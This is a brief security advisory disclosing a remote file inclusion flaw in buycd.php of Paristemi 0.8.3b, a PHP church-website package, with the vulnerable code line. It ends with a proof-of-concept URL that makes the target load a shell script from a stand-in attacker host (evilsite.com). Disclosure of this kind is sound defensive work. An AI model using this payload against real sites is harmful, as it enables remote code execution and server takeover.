Paristemi 0.8.3b (buycd.php) Remote File Include Vulnerability

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• Paristemi 0.8.3b (buycd.php) Remote File Include Vulnerability
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• Vendor …: http://www.paristemi.com/
• Affected Software .: Paristemi 0.8.3b
• Download …: http://downloads.sourceforge.net/paristemi/paristemi-0_8_3.zip
• Description …: "Paristemi is a PHP/MySQL free website for churches"
• Class …: Remote File Inclusion
• Risk …: High (Remote File Execution)
• Found By …: nuffsaid <nuffsaid[at]newbslove.us>
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• Details:
• Paristemi music/buycd.php fails to initialize the $HTTP_DOCUMENT_ROOT variable before using
• it to include files, assuming register_globals = on, we can initialize the variable in a
• query string and include a remote file of our choice.
• Vulnerable Code:
• music/buycd.php, line(s) 03:
• -> <?php require_once $HTTP_DOCUMENT_ROOT.$INCLUDE_PATH.$HEADER.
• Proof Of Concept:
• http://[target]/[path]/music/buycd.php?HTTP_DOCUMENT_ROOT=http://evilsite.com/shell.php?
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